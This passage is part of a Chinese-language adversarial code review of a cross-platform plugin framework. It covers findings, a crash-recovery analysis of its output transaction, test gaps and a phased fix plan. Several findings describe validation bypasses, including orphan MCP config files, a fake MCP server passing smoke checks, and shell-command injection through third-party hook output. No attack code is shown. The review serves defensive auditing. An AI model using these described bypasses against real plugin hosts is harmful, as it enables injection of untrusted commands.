完整。扩展名最长匹配、`.d.ts` 排除、kebab ID、NFC/case 冲突检测、executable/module mode 全部实现 | ✅ 合理(247 行 provider + 19 行 paths) | **保留** | +| **Hooks** | ✅ 完全匹配。`bundler.ts`/`adapters.ts` 已删除;只经 Core `portable-node` 编译一次并复用 Built State;作者只返回语义结果,目标 wire 由 Contributor 负责;runner 有 I/O 上限、顶层错误捕获、固定脱敏错误码;`process.env` 只出现在**生成的运行时源码模板**中,构建期不读取 | ⚠️ 一处边界缺陷:严格 JSON 快照静默丢弃嵌套 `undefined`(P2-12) | ✅ 合理 | **局部修复** | +| **MCP** | ✅ 架构匹配(portable intersection、secret 只存 env 名、Contributor 负责 wire、单次编译) | ❌ **三处实质缺陷**:smoke 可被伪造(P1-6)、descriptor 非判别联合(P2-3)、`entry` 默认值三处不一致(P2-11) | ✅ 合理 | **局部修复(优先级最高)** | +| **Platform / Claude Code** | ✅ 匹配 | ⚠️ 808 行深度校验(真实读取并解析 `hooks.json` / `.mcp.json` sidecar 内容),但存在 orphan `.mcp.json` 旁路(**P1-7**) | ✅ 合理 | **局部修复(一行)** | +| **Platform / Codex** | ✅ 匹配 | ⚠️ 1169 行,六平台中最深(强制 url/command 恰选其一、`cwd` 必须为 `"."`、bearer 必须是 env 名);同一 orphan 缺口(P2-4) | ✅ 合理 | **局部修复(一行)** | +| **Platform / Cursor** | ✅ 匹配 | ✅ **无 orphan 缺口**——Cursor 的 MCP/hooks 只经 manifest 引用加载,校验器读取范围与之同构 | ✅ 合理 | **保留** | +| **Platform / Antigravity** | ✅ 匹配 | ✅ **无 orphan 缺口,且是正确范式**:`validator.ts:160-172` 由"根文件是否存在"驱动校验,而非由 manifest 引用驱动。建议 Claude Code / Codex 直接借鉴 | ✅ 合理 | **保留(作为参考实现)** | +| **Platform / OpenCode** | ✅ 匹配 | ✅ 校验器虽仅 171 行但质量高:按 `type` 精确字段集、未知字段拒绝、local 必须 `["node", <已签发 workspace Asset>]`(阻断任意本地命令)、URL 限 http(s) 且拒绝内联凭据、OAuth 精确字段集。**无 manifest-ref 旁路** | ✅ 合理 | **保留** | +| **Platform / Pi** | ✅ 匹配 | ✅ 不支持的能力正确报告 `unsupported` 而非伪实现——MCP Contributor 只产出 compatibility、零 Asset 零 Document 字段;Hooks 逐事件区分 native/degraded/unsupported | ✅ 合理 | **保留** | +| **Transaction** | ✅ 匹配。`lock → recover → stage → validate → backup → swap → cleanup` 顺序正确 | ⚠️ **崩溃恢复矩阵本身正确**(见 §5 逐窗口推演),但 lock 子协议不是崩溃安全的(**P1-5**),且目录权限未纳入 mode 契约(**P2-1**) | ✅ 合理(633 行承担可恢复整体替换 + subset 保留) | **lock 局部重写 + 其余局部修复** | +| **DevSession** | ✅ 匹配。单一 active round、pending 合并、初始化期补偿轮不发布伪事件、sequence 从 1 开始、close 期间 active round 仍发 complete、`closed` 恰好一次、并发 close 共享 Promise、listener 异常隔离并自动撤销 | ❌ **故障路径完全不收敛**(**P1-3 / P1-4**);正常路径正确 | ✅ 合理 | **局部修复** | +| **Migration** | ✅ 完全隔离。唯一入口是 `cli.ts:318` 的动态 `import()`,产物中为独立 chunk;Core/Platform/Extension/正常 CLI 均无反向 import;`migration/legacy/**` 六个文件相对 HEAD 零改动,未被机械重写 | ✅ 完整 | ✅ 合理 | **保留** | +| **Docs / Playground** | ⚠️ Playground 边界干净(只 import 公开包,`@acplugin/core` 与深层私有路径命中数为 0),`docs:check` 通过 | ❌ 文档描述了不存在的 CLI 选项(**P1-8**)与四个不存在的诊断码(**P2-13**),并保留僵尸术语(P3-2) | ✅ 合理 | **局部修复** | +| **Release** | ⚠️ tarball 边界本身正确(无 `@acplugin/*` 运行时依赖、`workspace:^` 与 `catalog:` 正确改写、主包不 bundle/re-export 官方集成、跨 tarball brand 有效) | ❌ **发布编排是当前最大风险面**:P1-1、P1-2、P2-6、P2-7、P2-8 五项 | — | **局部修复(但需两个架构决策)** | + +--- + +## 5. Transaction 崩溃窗口逐一推演 + +用户明确要求"不要默认当前 `.writing → sync → hard-link` 方案正确,请逐个崩溃窗口推演"。以下是独立推演结果。 + +事务实际序列(`packages/core/src/transaction.ts:462-632`): + +``` +acquireLock(wx) +→ recover(读 pending marker / committed marker / backup,按四分支复原) +→ 清理 markers、.writing 草稿、陈旧 stage +→ [subset] 快照未选 Platform +→ mkdtemp(stage) → 物化 preserved + units +→ validate units / preserved / stage 顶层闭包 → 复核 outDir 中的 preserved +→ writeTransactionMarker(pending, hadOutput=exists(outDir)) +→ [if exists] rename(outDir → backup) +→ rename(stage → outDir) +→ afterSwap() ← closeIntegrations +→ writeTransactionMarker(committed) +→ rm backup → rm pending → rm committed +→ finally: rm stage / close lock / rm lock +``` + +### 崩溃窗口矩阵 + +| # | 崩溃点 | 磁盘残留状态 | 恢复动作 | 结果 | 判定 | +| --- | --- | --- | --- | --- | --- | +| W1 | pending marker 写完,rename 前 | pending(hadOutput=T),无 backup,outDir=旧 | pending 分支 → hasBackup=F 且 outDir 存在 → 不动 | 旧输出完好 | ✅ | +| W2 | `rename(outDir→backup)` 后,swap 前 | pending(T),backup=旧,outDir 缺失,stage 存在 | `rename(backup→outDir)`;stage 按前缀清理 | 旧输出复原 | ✅ | +| W3 | `rename(stage→outDir)` 后,committed 前 | pending(T),backup=旧,outDir=**新** | `rm outDir`(新)→ `rename(backup→outDir)` | 未提交的新输出被丢弃,旧输出复原 | ✅ **不会暴露未 cleanup 的新输出** | +| W4 | committed marker 写完,`rm backup` 前 | pending+committed,backup=旧,outDir=新 | committed 分支 → outDir 存在 → `rm backup` | 新输出保留,旧 backup 丢弃 | ✅ | +| W5 | `rm backup` 后,`rm pending` 前 | pending+committed,outDir=新 | committed 分支 → 无动作 → 删两个 marker | 新输出保留 | ✅ | +| W6 | `rm pending` 后,`rm committed` 前 | 仅 committed,outDir=新 | committed 分支 → 无动作 → 删 committed | 新输出保留 | ✅ | +| W7 | **首次构建**,pending(F) 写完,swap 前 | pending(hadOutput=F),无 backup,outDir 缺失 | hadOutput=F 分支 → outDir 不存在 → 不动 | 无残留 | ✅ | +| W8 | **首次构建**,swap 后,committed 前 | pending(F),无 backup,outDir=新 | hadOutput=F 分支 → `rm outDir` | 未提交的首份输出被移除 | ✅ | +| W9 | `fs.link` 成功后、`rm(.writing)` 前 | 正式 marker + `.writing` 草稿 | 读正式 marker;`:518-519` 清理草稿 | 正确 | ✅ | +| W10 | `.writing` 写完、`fs.link` 前 | 仅 `.writing` 草稿 | 无 marker → 走 backup 分支;草稿被清理 | 正确 | ✅ | +| W11 | `afterSwap`(即 `closeIntegrations`)抛出 | 触发显式 rollback:`rm outDir` + `rename(backup→outDir)`;`:604-612` 清理两个 marker | — | 旧输出复原,无残留 marker | ✅ | +| W12 | rollback 本身失败(AggregateError) | markers 保留(`:604` 判定排除 AggregateError) | 下轮 pending(T)+backup 分支复原 | 可自动恢复 | ✅ **有意设计,正确** | + +### 结论 + +**`.writing → sync → hard-link` 的 marker 发布方案与四分支恢复逻辑在所有 12 个窗口下都正确**:既不会暴露未完成 cleanup 的新输出(W3/W8),也不会错误删除上一份完整输出(W1/W2/W11/W12)。`wx` + hard-link no-replace 保证 marker 永不出现部分 JSON。`hadOutput` 的取值点(`:551`)与其消费点(`:557`)之间没有插入任何状态变更。subset 与 full 的交互也已验证:`normalizeScope` 强制 selected 集合与 Unit Platform 集合精确相等,而失败平台会先触发 `diagnostics.hasErrors` 从而完全跳过提交(`build-session.ts:944`),因此不可达不一致状态。 + +**真正的缺口不在恢复矩阵,而在其外围**:lock 协议(P1-5)、目录权限(P2-1)、以及未被使用的 `scope` 字段与 marker 不匹配的无自愈路径(P3-7)。 + +其余对抗性检查结果:symlink / 特殊文件在 `scanPhysicalTree` 中被拒绝;case/Unicode collision 在 preserved 快照与 Package 路径两处都用 `sourceCollisionKey` 折叠检测;TOCTOU 由 `materializationBytes` 在每次落盘前重新校验来源;`fs.rm(lockPath)` 只在成功获锁的路径上执行(`acquireLock` 位于 `try` 之外),不会误删他人的锁。 + +--- + +## 6. Over-design and Complexity Audit + +### 合理复杂度(应保留) + +| 复杂度来源 | 为什么合理 | +| --- | --- | +| **Capability 授权体系**(`SourceRegistry` / `AssetRegistry` / `WorkDirectoryRegistry` / `BuildSessionScope` / grant / brand) | 这是全仓最大的单一复杂度来源,也是**最有正当性**的一个。威胁模型真实存在:第三方 Platform/Extension 是 npm 包,在作者的构建进程内执行。没有它,"Platform 无 `dist` 写权限""Extension 只能引用自己的 Asset""owner/mode/hash 在继承中保持"全部无法成立。Vite/tsdown 不需要它,是因为它们不把插件当作**不可信**输入。 | +| **可恢复的整体输出事务** | §5 证明它真的能在 12 个崩溃窗口下保住上一份完整输出。这是"`dist` 是框架完整托管目录"这一产品承诺的唯一实现方式。 | +| **六平台 compatibility + 最终 candidate validation** | 跨平台 wire protocol 差异是产品的核心价值,不是可省的抽象。compatibility registry 的覆盖强制、cause 无环校验、依赖最差等级传播到不动点都有真实语义。 | +| **两个 Compiler profile(portable-node / managed-rolldown)** | 二者权限边界确实不同:portable 完全由 Core 固定 input/output/plugins;managed 向可信集成开放受限 Rolldown 面。这不是重复,是两个不同的信任级别。 | +| **每阶段一个 provider / registry 模块** | 机械核查显示 Core 40 个模块**无一个零引用**,也没有 single-implementation 工厂或接口。这些是线性流水线的分解,不是投机抽象。 | + +### 可删除复杂度 + +只有三处,合计影响很小: + +1. **`validateCompleteMaterialization` 在提交路径上的重复物化**(P3-5)——`if (!input.commit)` 一行收敛,每次构建少写一遍全量输出。 +2. **transaction marker 的 `scope` 字段**(P3-7)——被严格校验但从不参与恢复分支,是纯粹的死数据,且参与 marker 不匹配判定从而制造了一个无自愈的失败态。 +3. **`packages/core/src/resources/project-graph.ts`(24 行,单一引用者)与 `kernel/report-safety.ts`(23 行)** —— 属于"文件过小"而非过度设计,不构成 Finding,仅记录。 + +### 错误抽象 + +**未发现。** 特别核查了以下常见反模式,均不存在: +- 单实现接口 / 单产品工厂:无 +- 为复用而制造的错误公共抽象:无——Hooks 与 MCP 的 Contributor 共享 `contributors/common.ts`,但那是真实的两个调用方 +- 本应由 Core 统一提供却被多包重复实现的能力:**只有一处**——严格 JSON 快照在 Core(`data-boundary.ts`)与 Hooks(`discovery.ts:117`)有两套语义分叉的实现(P2-12)。这是唯一一处应当收敛的重复 +- 本应留在 Platform 却被下沉到 Core 的目标协议:**无**。Core 中不含任何平台名分支;Runtime 的 `native`/`unsupported` 判定读的是 Platform 自己声明的 capability,不是 Core 内置的平台知识 + +### 不应继续实现的能力 + +- **Extension 依赖图 / 顺序协议 / override 系统**:当前明确不提供,且**应当继续不提供**。本轮未发现任何两个以上的真实案例需要它。现有的"无序 add-only + 独占 extension point claim + 冲突即失败"模型已经足够,且是确定性的。 +- **v1 兼容层**:已明确不保留,`LIFECYCLE_API_VERSION` 维持 `'1'`。正确。 +- **CLI 的 strict 覆盖层**:文档声称存在但实际不存在(P1-8)。建议**删文档而非补实现**——它会给 `ProjectRunOptions` 增加公开字段并引入一套三级优先级规则,与"CLI 不维护第二条构建路径"原则相悖,而 `build.strict` + Platform 工厂 `strict` 已覆盖需求。 + +--- + +## 7. Previous Finding Audit + +工作树中已存在一份先前 Review:`.llmdoc-tmp/reviews/kernel-v2-final-cross-review-2026-08-14.md`(2026-08-18 14:11 定稿,`NOT_READY`,6×P1 / 6×P2 / 3×P3)。本轮**未默认其正确**,对其 15 条结论逐一独立复验。副本已保留于 `.llmdoc-tmp/reviews/_superseded-kernel-v2-final-cross-review-2026-08-18T1411.md`。 + +| 先前 Finding | 本轮判定 | 独立复验方式与结论 | +| --- | --- | --- | +| **F1** Changesets 会发布稳定 1.0 | **仍然成立** | **[EXEC]** 实跑 `changeset status`:九个包全部 `newVersion: "1.0.0"`;`.changeset/` 无 `pre.json`;`semver.inc('0.0.2-beta','major')==='1.0.0'`。→ 本轮 **P1-1** | +| **F2** Patch workflow 不刷新生态快照 | **仍然成立** | **[READ+EXEC]** 逐行读 `patch.yml:89,119-120`(只有 `version-packages` → `install --lockfile-only` → lint → typecheck,无快照生成、无 `release:verify`)+ `verify-release.mjs:143` 的相等断言。→ 本轮 **P1-2** | +| **F3** watcher reconciliation 失败丢事件 + 未处理拒绝 | **仍然成立** | **[READ]** 在读到该 Review 之前已独立发现同一问题。行号复核:`dev-session.ts:213` 的 `void drain()`、`:263` 的 throw、`:274-280` 先提交 snapshot 后物理应用、`:307` 未 await 的 unwatch。→ 本轮 **P1-3** | +| **F4** close 失败使 `closed` 永不 settle | **仍然成立,且范围更大** | **[READ]** 同样在阅读该 Review 前独立发现。本轮**追加**一个先前未记录的同源缺陷:`poller` 创建于 `:166`,而 watcher 初始化在 `:403-416` 位于 `try`(`:418`)之外,构造期失败会同时泄漏 poller 与半初始化 watcher。→ 本轮 **P1-4** | +| **F5** transaction lock 非崩溃安全 | **仍然成立** | **[EXEC]** 独立重跑其 repro:预置空 lock → 稳定抛 `Managed output is locked` 且空锁残留。本轮**追加** PID 复用无逃生路径这一残余缺口。→ 本轮 **P1-5** | +| **F6** MCP stdio smoke 可被冒充 | **仍然成立** | **[EXEC]** 独立重跑 `mcp-fake-smoke` fixture:两行 printf 的"server"得到 `success=true, committed=true, diagnostics=[]`,兼容性为 `native`。并逐行复核 `build.ts:84` 的判定确实不检查 envelope/error/协商字段。→ 本轮 **P1-6** | +| **F7** MCP descriptor 非 transport 判别联合 | **仍然成立** | **[READ+EXEC]** `discovery.ts:13` 的 `FIELDS` 确为并集;同一 fixture 中 stdio 携带 `url` + `auth:{type:'none',env:...}` 被静默接受。→ 本轮 **P2-3** | +| **F8** `entry: './server.ts'` 报文件缺失 | **仍然成立,但需重新定性** | **[READ]** 机制确认(`path-policy.ts:50-52` 拒绝 `.` segment → `entrySource` 为 undefined → 报 `MCP_ENTRY_MISSING`)。**但先前描述不够准确**:所有实际代码示例(docs/README/playground)都正确使用 `'server.ts'`,只有 `types.ts:57` 的 TSDoc 及其生成的 TypeDoc 页声明了 `./server.ts`。本轮同时发现**先前未记录的内部矛盾**:`discovery.ts:110` 与 `:176` 对默认值的取值不同。→ 本轮 **P2-11**(重新定性) | +| **F9** Hooks 快照丢弃嵌套 `undefined` | **仍然成立** | **[READ]** `discovery.ts:117-118` 确为 `continue`。→ 本轮 **P2-12** | +| **F10** `current` 语义两份规范矛盾 | **仍然成立,但应收窄** | **[READ]** 行为本身自洽(最近成功值,首轮失败时以失败报告播种)。真正的缺陷是 `kernel-types.ts:1014` 是 `DevSession` 接口里**唯一无文档注释**的成员,公开契约未定义。降级为文档/契约缺口。→ 本轮 **P3-1** | +| **F11** Extension build 失败误归因给每个平台 | **仍然成立** | **[READ]** `build-session.ts:150` 确实排除 extension-owned error,`extension-provider.ts:347-349` 确实 throw,被 `runPlatformStage('contribute')` 转成 per-platform 错误。→ 本轮 **P2-10** | +| **F12** managed deterministic 审计比 portable 窄 | **仍然成立** | **[READ]** `managed-auditor.ts:213-219` 只比对完整模块 ID;`portable-auditor.ts:19-25` 比对全部物理根 + separator 变体。不对称确认。→ 本轮 **P2-9** | +| **F13** Scanner 僵尸术语 | **仍然成立,范围更大** | **[EXEC]** grep 确认 `kernel-types.ts:472`、六平台 `components.ts`、`AGENTS.md:94`、`README.md:379`。本轮**追加**先前未列出的 user-facing 命中:`troubleshooting.md:12` 的章节标题、`project-structure.md:27`、`guide/index.md:7`、`commands-skills-agents.md:3`。→ 本轮 **P3-2** | +| **F14** staged whitespace 门禁失败 | **仍然成立** | **[EXEC]** `git diff --cached --check` exit 2,三个文件行号完全一致。→ 本轮 **P3-3** | +| **F15** `INTERNAL_ERROR` phase 硬编码为 `package` | **仍然成立** | **[READ]** `build-session.ts:968` 确认。→ 本轮 **P3-4** | + +### 审计结论 + +**15 条先前结论全部仍然成立,0 条误报,0 条已解决,2 条需要重新定性(F8 收窄为类型注释矛盾 + 诊断不准确;F10 收窄为公开契约文档缺口)。** 先前 Review 的准确率很高。 + +### 本轮新增、先前 Review 未覆盖的问题 + +| 新 Finding | 为什么先前会漏 | +| --- | --- | +| **P1-7** Claude Code orphan `.mcp.json` 校验旁路 | 需要构造第三方 Extension fixture 并对比"引用"与"孤儿"两种投递形态才能发现 | +| **P1-8** `--strict`/`--no-strict` 是虚构的 CLI 契约 | 需要实际执行 CLI 并与 10 处文档逐一对照 | +| **P1-9** 唯一的 DevSession 测试未跟踪且 flaky | 需要重复执行同一测试文件才会暴露(单次全量执行是绿的) | +| **P2-1** 交付目录权限为 `0700` | 需要检查**目录** mode;所有现有测试与 verify 脚本只断言文件 mode,且以同一 uid 运行 | +| **P2-2** managed `addWatchFile()` 拒绝未生成文件 | 需要构造使用 `addWatchFile` 的第三方 managed 插件;官方集成全部不用该 API | +| **P2-4** Codex 同源 orphan 缺口 | 同 P1-7 | +| **P2-5** 第三方可向 hooks wire 注入任意 shell 命令 | 需要第三方 Contributor fixture 才能观察 | +| **P2-6** 八个 tarball 的 devDependencies 残留 `@acplugin/core` | 需要实际 pack 并解包检查 devDependencies;发布门禁只查三个运行时字段 | +| **P2-7** `^0.0.2-beta` peer 范围排除一切后续主包版本 | 需要对 caret 在 `0.0.x` 下的语义做 semver 求值 | +| **P2-8** clean consumer 未覆盖第三方 Extension 与独立包实例 | 需要读 `verify-release.mjs` 的 fixture 构造细节而非只看它是否通过 | +| **P2-13** troubleshooting 列出四个不存在的诊断码 | 需要实际跑 `--json` 并与源码码表比对 | +| **P2-14** vitest 缺 hooks 源码 alias | 需要逐条比对 alias 表与 import 表 | +| **P3-5 / P3-6 / P3-7** 重复物化、键顺序依赖、死 `scope` 字段 | 结构性观察 | + +--- + +## 8. Test and Verification Gaps + +全部门禁通过却存在 9 个 P1,根因是覆盖面集中在正常路径。具体缺口: + +| # | 缺口 | 关联 Finding | 建议补充 | +| --- | --- | --- | --- | +| G1 | **DevSession 故障路径零覆盖**:无 `watcher.add`/`unwatch`/`getWatched`/timeout 故障注入,无 `watcher.close()` reject,无并发 close,无构造期失败 | P1-3, P1-4 | 一组 watcher fault-injection 测试;断言事件成对、无 unhandled rejection、`closed` 必 settle、无 timer/handle 泄漏 | +| G2 | **DevSession 唯一测试未进入版本控制且 flaky** | P1-9 | `git add` + 修竞态;连跑 20 次零失败 | +| G3 | **transaction lock 故障零覆盖**:现有覆盖只到"完整的 dead-PID lock",没有空 / 截断 / 写失败 / rm 失败 / PID 复用 / 同进程 stale token | P1-5 | 每个 lock 窗口一个 fault-injection 用例 | +| G4 | **目录 mode 完全不在断言范围内**:`verify-playground.mjs` 只快照文件 mode;所有测试同 uid 运行 | P2-1 | 把目录 mode 纳入 materialize/candidate/transaction/subset 四条路径的复核基准 | +| G5 | **第三方对抗面只有官方 Extension 测试**:没有任何"仅使用公开 `/sdk` 的最小第三方 Extension"fixture | P1-7, P2-3, P2-4, P2-5, P2-8 | 建立一个共享的敌对第三方 fixture,对六个平台分别投递 referenced 与 orphan 两种非法 wire | +| G6 | **MCP 协议 smoke 只有正向用例**:无伪 server、无 error envelope、无缺协商字段、无重复 id | P1-6 | 九类负向 smoke 用例 | +| G7 | **managed-rolldown 的第三方使用面几乎无覆盖**:`addWatchFile` 零测试,deterministic 只测完整模块 ID 泄漏 | P2-2, P2-9 | `addWatchFile`(存在/不存在/越界 × 有无 symlink 祖先);deterministic 注入四类物理根 | +| G8 | **发布验证覆盖"版本写入之前",不覆盖"版本写入之后"** | P1-1, P1-2 | 在 workflow 等价环境中执行 `version-packages` 后再跑 `release:verify` | +| G9 | **tarball 检查只覆盖三个运行时依赖字段** | P2-6 | 加入 `devDependencies` | +| G10 | **CLI 选项与文档无一致性检查** | P1-8, P2-13 | 一个把 `createCli()` 实际注册的选项/诊断码与文档中出现的对照的静态测试 | +| G11 | **`hooks` 集成测试跑 dist 而非源码** | P2-14 | 补 alias | +| G12 | **Pi 没有 golden 测试**(六平台中唯一) | P3-11 | 补齐或明确记录为有意省略 | + +--- + +## 9. Recommended Fix Order + +五个阶段。前两个阶段完成前**不得触发 Patch workflow**。 + +--- + +### Phase 0 — 发布安全急停(先做,纯配置/流程,无产品代码) + +**Scope:** P1-1、P1-2、P3-6、P3-8、P3-10 +**Non-goals:** 不改任何 Core / Platform / Extension 源码;不做版本晋升决策本身,只保证晋升不会意外发生。 + +1. **架构决策 A:确定 beta release line 与 stable promotion 机制。** 若继续 beta → `pnpm changeset pre enter beta` 并把 `initial-1-0-baseline.md` 移出可消费目录;若确实 GA → 在 `repository.test.ts` 中显式断言预期版本终态。 +2. 新增从九个 manifest 生成 `ecosystem-versions.json` 的脚本,接入 `package.json` 的 `version-packages` script 本身(不可跳过)。 +3. 同批修 `verify-release.mjs:19` 的键顺序依赖(否则第 2 步会触发它)。 +4. `patch.yml` 在创建 PR 前追加 `pnpm run release:verify`,并拒绝未授权的 prerelease → stable 跃迁。 + +**测试与 DoD:** 在 workflow 等价环境执行 `version-packages` 后 `release:verify` 通过;`changeset status` 只产生预期版本;无显式 promotion 输入时 `0.0.x-beta → 1.0.0` 必须失败。 + +--- + +### Phase 1 — 安全边界(对抗性缺陷,影响已发布产物的可信度) + +**Scope:** P1-6、P1-7、P2-3、P2-4;同时建立 G5 的第三方对抗 fixture +**Non-goals:** 不改 Contributor 模型;不引入 Extension 顺序或依赖协议。 + +1. 建立最小敌对第三方 Extension fixture(仅用公开 `/sdk`),作为后续所有对抗测试的宿主。 +2. `claude-code/src/validator.ts:697` 与 `codex/src/validator.ts:1065` 各加一行 `.mcp.json` orphan 兜底,镜像已有的 hooks 兜底。**并确立通则:凡目标平台会自动发现的根文件,最终校验必须由"文件存在"驱动**(参考 `antigravity/src/validator.ts:160-172`)。 +3. `mcp/src/build.ts:79-85` 严格化 smoke:JSON-RPC 2.0 envelope、无 error、id 唯一匹配、`initialize.result` 含协商后的 `protocolVersion`/`capabilities`/`serverInfo`、`tools/list.result.tools` 为数组。 +4. `mcp/src/discovery.ts:13,146-180` 改为按 transport / 按 `auth.type` 的精确判别联合。 + +**测试与 DoD:** 同一非法 payload 在 referenced 与 orphan 两种形态下于六个平台被同等拒绝;九类负向 smoke 用例全部失败;官方 Contributor 输出与 playground 字节不变。 + +--- + +### Phase 2 — 故障边界收敛(Core 可靠性) + +**Scope:** P1-3、P1-4、P1-5、P2-1 +**Non-goals:** 不改 DevSession 的事件语义或轮次调度模型;不改事务的四分支恢复逻辑(§5 已证明其正确)。 + +1. **架构决策 B:确定 transaction lock 的持久记录格式**(record 结构、PID 复用策略、同进程 ownership、legacy lock 处理)。随后局部重写 `transaction.ts:429-459`。 +2. `dev-session.ts:267-313` 改为"准备 → 物理应用 → 提交 snapshot";await `unwatch`;watcher 失败转为稳定 dev failure report。 +3. `round()` 加 `try/finally` 保证 start/complete 配对;`requestDrain` 的 `void drain()` 显式收敛 rejection。 +4. `close()` 的终态五步放入嵌套 `finally`;`createDevSession` 的 watcher 构造纳入带 cleanup 的 try。 +5. 交付目录 mode 统一 `0755` 并纳入四条路径的复核基准。 + +**测试与 DoD:** G1、G3、G4 三组缺口补齐;`acplugin dev` 在注入 watcher 故障后仍能被 Ctrl+C 正常终止且退出码为 130;每个 lock 窗口最多一个 writer 且下一轮可自动恢复。 + +--- + +### Phase 3 — 契约与文档一致性 + +**Scope:** P1-8、P1-9、P2-10、P2-11、P2-12、P2-13、P2-14、P3-1、P3-2、P3-3、P3-4 +**Non-goals:** 不为 CLI 补 strict 覆盖层(见 §6"不应继续实现的能力");不机械重写 `migration/legacy/**`。 + +1. 从 8 处 build/validate 语境删除 `--strict`/`--no-strict`(**保留** migrate 语境的 4 处),并新增"文档选项 vs `createCli()` 实际选项"一致性测试。 +2. `git add` DevSession 测试并修其竞态。 +3. 修 P2-10 的误归因、P2-11 的三处默认值不一致与诊断码、P2-12 的 `undefined` 丢弃、P2-13 的四个诊断码、P2-14 的 alias。 +4. 补 `DevSession.current` 的 TSDoc;统一 Scanner 术语;清理三处 staged 空行;为 `INTERNAL_ERROR` 引入真实 phase。 + +**测试与 DoD:** `git diff --check` 与 `git diff --cached --check` 均 exit 0;`docs:check` 通过且文档中出现的诊断码/CLI 选项全部可静态验证存在。 + +--- + +### Phase 4 — 发行边界收尾与复杂度回收 + +**Scope:** P2-6、P2-7、P2-8、P2-9、P3-5、P3-7、P3-9、P3-11 +**Non-goals:** 不改九包生态结构;不改 brand 机制(已验证正确)。 + +1. **架构决策 C(与决策 A 同批):** beta 窗口内的 peer 范围策略——`workspace:*` / 显式 `>=`,或规定主包发布必须九包同步 bump。 +2. `verify-release.mjs:381` 加入 `devDependencies`;从六个 Platform manifest 移除 `@acplugin/core` devDependency。 +3. `verifyConsumer` 中加入 `file:` 形式的第三方包(同时导出 Platform 与 Extension 工厂),覆盖独立实例与非 `plugin` deliveryType。 +4. managed deterministic 审计与 portable 共享 physical-root 扫描。 +5. `validateCompleteMaterialization` 收敛为 `if (!input.commit)`;处理 marker `scope` 死字段与不匹配自愈;更正"private Symbol"措辞;清理孤儿空目录。 + +**测试与 DoD:** 九个 tarball 四类依赖字段均无 `@acplugin/*`;"只发布主包"场景下八个集成仍可解析;第三方 Extension 在 packed clean consumer 中完成完整构建。 + +--- + +### 需要的三个架构决策(汇总) + +| 决策 | 内容 | 阻塞的 Finding | +| --- | --- | --- | +| **A** | beta release line 与 stable promotion 的唯一机制 | P1-1 | +| **B** | transaction lock 的持久崩溃记录协议(格式、PID 复用、同进程 ownership、legacy) | P1-5 | +| **C** | Extension 是否在信任边界之内——即是否强制 hook `command` 只能是受管 handler | P2-5 | + +(P2-7 的 peer 范围策略是决策 A 的直接推论,不单列。) + +--- + +## 10. Final Decision + +# `NOT_READY` + +### 判定依据 + +**不可交付的直接原因**(任一即阻断): + +1. **P1-1** — Changesets 目前处于"扣动扳机即把 beta 发布为稳定 `1.0.0`"的状态。 +2. **P1-2** — 即使不误发,任何一次版本 PR 都会产生自相矛盾的生态快照,导致 `init` 生成装不上的工程。 +3. **P1-7** — Platform 最终 candidate validation 存在可执行验证的第三方注入旁路。 +4. **P1-6** — 伪 MCP 可以冒充完整实现并以 `native` 兼容性交付。 +5. **P1-5** — 一次崩溃或瞬时文件系统错误就能永久楔死受管输出,只能人工删文件恢复。 +6. **P1-9** — 唯一的 DevSession 测试未进入版本控制且 flaky,门禁绿灯不可信。 + +### 同时明确的正面结论 + +- **不建议整体重写。** 目标架构的十二条目标中,除"最终 candidate validation 无旁路"一条外全部独立验证通过。 +- **不存在明显过度设计。** Core 无死模块、无单实现抽象、无投机泛化;作者 API 只有一个 `defineConfig()`。多出的复杂度可逐项追溯到真实的安全、事务或跨平台需求。 +- **没有偏离初衷。** 仍是"Core 基于 Rolldown 提供开箱即用跨平台 Plugin 框架和 CLI"。 +- **事务恢复矩阵本身是正确的**,12 个崩溃窗口逐一推演无缺陷。 +- **需要重写的代码只有一处**:`transaction.ts:429-459` 的 lock 子协议(约 30 行)。 + +### 达到 `READY` 的最小条件 + +完成 **Phase 0 + Phase 1 + Phase 2**(含架构决策 A、B),并补齐测试缺口 **G1–G6**。 +Phase 3 与 Phase 4 可作为 `READY_WITH_NON_BLOCKING_FOLLOWUPS` 的后续项,但 **P1-8(虚构 CLI 选项)与 P1-9(flaky 测试)建议一并纳入阻断集**——前者是面向用户的产品承诺失效,后者会让所有阶段的验收结果失去可信度。 + +--- + +*本 Review 的复现 fixture 位于 `.llmdoc-tmp/repros/`:`watchfile-repro.test.ts`(P2-2)、`transaction-empty-lock.test.ts`(P1-5)、`mcp-fake-smoke/`(P1-6、P2-3)、`packcheck/`(P2-6、P2-7)、`harness.mjs` + `evil-extension-source.mjs` + `run-scenarios.mjs`(P1-7、P2-4、P2-5)、`dupbrand/`(P2-8 的 brand 正面验证)、`diag*/`(P2-13)。* + + + + + + diff --git a/review2.md b/review2.md new file mode 100644 index 0000000..75035f0 --- /dev/null +++ b/review2.md @@ -0,0 +1,334 @@ +# ACPlugin Kernel v2 最终独立对抗式架构与代码交叉 Review + +> Review 日期:2026-08-18(Asia/Shanghai) +> Review 范围:`9086b37c21bcc700e163043abfb050f91242ffe9..当前完整工作树`,包含 staged、unstaged 和 Review 开始时已有的 untracked 文件 +> 方法:源码与类型契约审阅、llmdoc/ADR/spec/ticket/历史 Review 交叉核验、Standards/Spec 双轴独立 Review、全量质量门、真实 Kernel/public SDK 最小反例 +> 约束:未修改产品源码、测试、配置或正式文档;本文件是本轮唯一正式输出 + +## 1. Executive Verdict + +**最终结论:`NOT_READY`。** + +当前 Kernel v2 的主架构已经基本对齐“Core 基于 Rolldown 提供开箱即用跨平台 Plugin 框架”的定位:Core 确实拥有唯一生命周期、Compiler/Module/Watch、Asset、Package、Compatibility、Transaction 和 Report;Runtime 已成为 Core Framework Resource;Hooks/MCP/官方 Platform 已脱离 Integration-local bundler;官方生态是九个独立公开包;Platform/Extension 生产代码走 `/sdk`;Migration 保持 lazy/隔离。没有证据支持整体重写 Kernel,也没有发现为了文件数量或抽象洁癖而必须推倒重来的明显过度设计。 + +但当前仍有 **9 个 P1**:beta Changeset 会直接进入稳定 `1.0.0`;Patch 版本流程不会同步唯一生态版本快照;事务锁可被一次崩溃永久卡死,且持久化顺序缺少目录 fsync;DevSession 的 watcher/close 异常无法保证事件和终态;MCP smoke 可被非 MCP 程序绕过;OpenCode 最终 validator 可接受错误本地命令;managed-rolldown 的 deterministic 审计既误拒绝正常输出,又能放过绝对路径泄漏。这些问题分别会造成错误发行、旧输出恢复风险、dev 挂起、伪协议产物或机器路径进入交付物,因此不能以“全量测试已通过”替代修复。 + +建议是 **保留现有总体架构,针对 Transaction crash protocol、DevSession terminalization、managed deterministic audit 和 MCP/最终协议边界做局部重写或收口**。不建议重新引入 